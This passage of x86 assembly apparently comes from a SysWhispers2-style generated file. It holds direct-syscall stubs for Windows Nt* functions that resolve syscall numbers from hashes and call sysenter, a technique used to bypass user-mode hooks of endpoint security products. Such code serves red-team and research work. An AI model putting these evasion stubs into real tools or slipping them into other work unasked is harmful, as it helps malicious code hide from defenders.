call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReleaseKeyedEvent ENDP
NtReleaseWorkerFactoryWorker PROC
push ebp
mov ebp, esp
push 08B77A822h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReleaseWorkerFactoryWorker ENDP
NtRemoveIoCompletionEx PROC
push ebp
mov ebp, esp
push 08092D44Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRemoveIoCompletionEx ENDP
NtRemoveProcessDebug PROC
push ebp
mov ebp, esp
push 08423B668h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRemoveProcessDebug ENDP
NtRenameKey PROC
push ebp
mov ebp, esp
push 003925840h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRenameKey ENDP
NtRenameTransactionManager PROC
push ebp
mov ebp, esp
push 08E329AAFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRenameTransactionManager ENDP
NtReplaceKey PROC
push ebp
mov ebp, esp
push 09EDDB571h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplaceKey ENDP
NtReplacePartitionUnit PROC
push ebp
mov ebp, esp
push 03838CA3Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplacePartitionUnit ENDP
NtReplyWaitReplyPort PROC
push ebp
mov ebp, esp
push 020BD272Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtReplyWaitReplyPort ENDP
NtRequestPort PROC
push ebp
mov ebp, esp
push 02ACD0152h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRequestPort ENDP
NtResetEvent PROC
push ebp
mov ebp, esp
push 07EBE4518h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtResetEvent ENDP
NtResetWriteWatch PROC
push ebp
mov ebp, esp
push 074B94E2Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtResetWriteWatch ENDP
NtRestoreKey PROC
push ebp
mov ebp, esp
push 0DF5AFCF0h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRestoreKey ENDP
NtResumeProcess PROC
push ebp
mov ebp, esp
push 0DE3CD7A3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtResumeProcess ENDP
NtRevertContainerImpersonation PROC
push ebp
mov ebp, esp
push 004AE043Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRevertContainerImpersonation ENDP
NtRollbackComplete PROC
push ebp
mov ebp, esp
push 069304180h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollbackComplete ENDP
NtRollbackEnlistment PROC
push ebp
mov ebp, esp
push 0F196D64Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollbackEnlistment ENDP
NtRollbackRegistryTransaction PROC
push ebp
mov ebp, esp
push 094D64F9Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollbackRegistryTransaction ENDP
NtRollbackTransaction PROC
push ebp
mov ebp, esp
push 00E992005h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollbackTransaction ENDP
NtRollforwardTransactionManager PROC
push ebp
mov ebp, esp
push 08B375614h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtRollforwardTransactionManager ENDP
NtSaveKey PROC
push ebp
mov ebp, esp
push 009DAF7ACh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSaveKey ENDP
NtSaveKeyEx PROC
push ebp
mov ebp, esp
push 07E75B003h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSaveKeyEx ENDP
NtSaveMergedKeys PROC
push ebp
mov ebp, esp
push 021B8DDD2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSaveMergedKeys ENDP
NtSecureConnectPort PROC
push ebp
mov ebp, esp
push 026E94576h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 9h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSecureConnectPort ENDP
NtSerializeBoot PROC
push ebp
mov ebp, esp
push 070A0367Bh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSerializeBoot ENDP
NtSetBootEntryOrder PROC
push ebp
mov ebp, esp
push 01F3269D7h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetBootEntryOrder ENDP
NtSetBootOptions PROC
push ebp
mov ebp, esp
push 0D98B3D1Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetBootOptions ENDP
NtSetCachedSigningLevel PROC
push ebp
mov ebp, esp
push 0209B2424h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetCachedSigningLevel ENDP
NtSetCachedSigningLevel2 PROC
push ebp
mov ebp, esp
push 004BB8D6Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetCachedSigningLevel2 ENDP
NtSetContextThread PROC
push ebp
mov ebp, esp
push 0284FAD6Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetContextThread ENDP
NtSetDebugFilterState PROC
push ebp
mov ebp, esp
push 030B16E0Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetDebugFilterState ENDP
NtSetDefaultHardErrorPort PROC
push ebp
mov ebp, esp
push 0DD71D8DFh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetDefaultHardErrorPort ENDP
NtSetDefaultLocale PROC
push ebp
mov ebp, esp
push 0C7A7FD62h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetDefaultLocale ENDP
NtSetDefaultUILanguage PROC
push ebp
mov ebp, esp
push 0B58B39A3h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetDefaultUILanguage ENDP
NtSetDriverEntryOrder PROC
push ebp
mov ebp, esp
push 01F8C8C91h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetDriverEntryOrder ENDP
NtSetEaFile PROC
push ebp
mov ebp, esp
push 0AEEDFED2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetEaFile ENDP
NtSetHighEventPair PROC
push ebp
mov ebp, esp
push 010B43821h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetHighEventPair ENDP
NtSetHighWaitLowEventPair PROC
push ebp
mov ebp, esp
push 03CB3D02Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetHighWaitLowEventPair ENDP
NtSetIRTimer PROC
push ebp
mov ebp, esp
push 093AAE962h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetIRTimer ENDP
NtSetInformationDebugObject PROC
push ebp
mov ebp, esp
push 040986A45h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationDebugObject ENDP
NtSetInformationEnlistment PROC
push ebp
mov ebp, esp
push 07BD27C40h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationEnlistment ENDP
NtSetInformationJobObject PROC
push ebp
mov ebp, esp
push 0F8D4C27Ah ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationJobObject ENDP
NtSetInformationKey PROC
push ebp
mov ebp, esp
push 0D389FC39h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationKey ENDP
NtSetInformationResourceManager PROC
push ebp
mov ebp, esp
push 07F1F8F7Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationResourceManager ENDP
NtSetInformationSymbolicLink PROC
push ebp
mov ebp, esp
push 0AE38242Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationSymbolicLink ENDP
NtSetInformationToken PROC
push ebp
mov ebp, esp
push 03398F932h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationToken ENDP
NtSetInformationTransaction PROC
push ebp
mov ebp, esp
push 00EE62E75h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationTransaction ENDP
NtSetInformationTransactionManager PROC
push ebp
mov ebp, esp
push 0AB14E5C8h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationTransactionManager ENDP
NtSetInformationVirtualMemory PROC
push ebp
mov ebp, esp
push 00D963B39h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationVirtualMemory ENDP
NtSetInformationWorkerFactory PROC
push ebp
mov ebp, esp
push 07EEE544Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetInformationWorkerFactory ENDP
NtSetIntervalProfile PROC
push ebp
mov ebp, esp
push 05C847200h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetIntervalProfile ENDP
NtSetIoCompletion PROC
push ebp
mov ebp, esp
push 03553158Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetIoCompletion ENDP
NtSetIoCompletionEx PROC
push ebp
mov ebp, esp
push 018DE423Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetIoCompletionEx ENDP
NtSetLdtEntries PROC
push ebp
mov ebp, esp
push 02612D21Eh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 6h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetLdtEntries ENDP
NtSetLowEventPair PROC
push ebp
mov ebp, esp
push 004B42C01h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetLowEventPair ENDP
NtSetLowWaitHighEventPair PROC
push ebp
mov ebp, esp
push 014B0342Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 1h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetLowWaitHighEventPair ENDP
NtSetQuotaInformationFile PROC
push ebp
mov ebp, esp
push 0ED4A266Fh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 4h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetQuotaInformationFile ENDP
NtSetSecurityObject PROC
push ebp
mov ebp, esp
push 01CB8241Dh ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSecurityObject ENDP
NtSetSystemEnvironmentValue PROC
push ebp
mov ebp, esp
push 01483CC3Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSystemEnvironmentValue ENDP
NtSetSystemEnvironmentValueEx PROC
push ebp
mov ebp, esp
push 06CBE5E05h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 5h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSystemEnvironmentValueEx ENDP
NtSetSystemInformation PROC
push ebp
mov ebp, esp
push 03EA23835h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSystemInformation ENDP
NtSetSystemPowerState PROC
push ebp
mov ebp, esp
push 07290585Ch ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 3h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSystemPowerState ENDP
NtSetSystemTime PROC
push ebp
mov ebp, esp
push 0A4A9B412h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 2h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_argument
push ret_address_epilog ;ret address
call do_sysenter_interupt
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interupt:
mov edx, esp
sysenter
ret
NtSetSystemTime ENDP
NtSetThreadExecutionState PROC
push ebp
mov ebp, esp
push 05C9257F2h ; Load function hash into ECX.
call SW2_GetSyscallNumber
